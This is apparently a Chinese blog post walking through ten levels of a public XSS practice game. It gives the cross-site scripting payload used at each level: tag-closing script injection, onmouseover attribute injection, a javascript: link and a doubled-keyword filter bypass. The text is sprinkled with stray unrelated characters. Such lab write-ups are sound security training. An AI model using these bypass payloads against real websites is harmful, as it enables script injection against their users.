今天周末,找了個(gè)XSS游戲,直接開始,打開地址:https://xss-quiz.int21h.jp/
第一關(guān):
有搜索框俯树,直接輸入代碼試試:11"/><script>alert(document.domain);</script>alert(document.domain);
第二關(guān):
進(jìn)入第二關(guān),同樣直接輸入代碼:11"/><script>alert(document.domain);</script>
果然不行贰盗,再看源代碼:
有標(biāo)簽许饿,直接閉合標(biāo)簽:1111"/><script>alert(document.domain)</script><
第三關(guān):
進(jìn)入第三關(guān),直接輸入任意內(nèi)容搜索看結(jié)果:
有兩個(gè)參數(shù)舵盈,抓包陋率,在第二個(gè)標(biāo)簽輸入代碼(果然沒過濾):<script>alert(document.domain)</script>
第四關(guān):
第四關(guān)又多了一個(gè)參數(shù),抓包在新參數(shù)插入代碼:
沒彈框秽晚?瓦糟,看源碼:
有閉合,閉合尖括號:”/><script>alert(document.domain)</script><”
第五關(guān):
第五關(guān)新參數(shù)又沒了:
看源代碼沒什么特別赴蝇,就是閉合標(biāo)簽菩浙,還做了輸入限制:
直接修改限制,輸入代碼()和上關(guān)一樣:”/><script>alert(document.domain)</script><”
還是不行句伶,果然忽略了閉合劲蜻,直接在input標(biāo)簽執(zhí)行”onmouseover=”alert(document.domain)
當(dāng)然直接抓包進(jìn)行不會有限制字?jǐn)?shù)。
第六關(guān):
進(jìn)入關(guān)發(fā)現(xiàn)和上一關(guān)差不多考余,應(yīng)該又是做了其他限制:
上代碼:”onmouseover=”alert(document.domain)
第七關(guān):
這一關(guān)和上兩關(guān)頁面一樣:
同樣上代碼:"onmouseover="alert(document.domain)
雙引號被編碼了先嬉,那就用空格:onmouseover= alert(document.domain)
第八關(guān):
這關(guān)是在搜索框輸入內(nèi)容,點(diǎn)擊內(nèi)容轉(zhuǎn)換成鏈接秃殉,再點(diǎn)鏈接轉(zhuǎn)到鏈接地址:
看源碼坝初,鏈接再a標(biāo)簽里:
A標(biāo)簽用javascript執(zhí)行:javascript:alert(document.domain)
第九關(guān):
這關(guān)是UTF-7編碼:
編碼以后也不行浸剩,上網(wǎng)查了下钾军,果然是需要ie環(huán)境的鳄袍,這個(gè)沒有,直接過吧吏恭,畢竟有firebug:
第十關(guān):
看源代碼直接執(zhí)行代碼:”onmouseover=”alert(document.domain)拗小,結(jié)果,domain被過濾:
直接雙寫進(jìn)行繞過:" onmouseover="alert(document.ddomainomain)
今天就到這了·樱哼。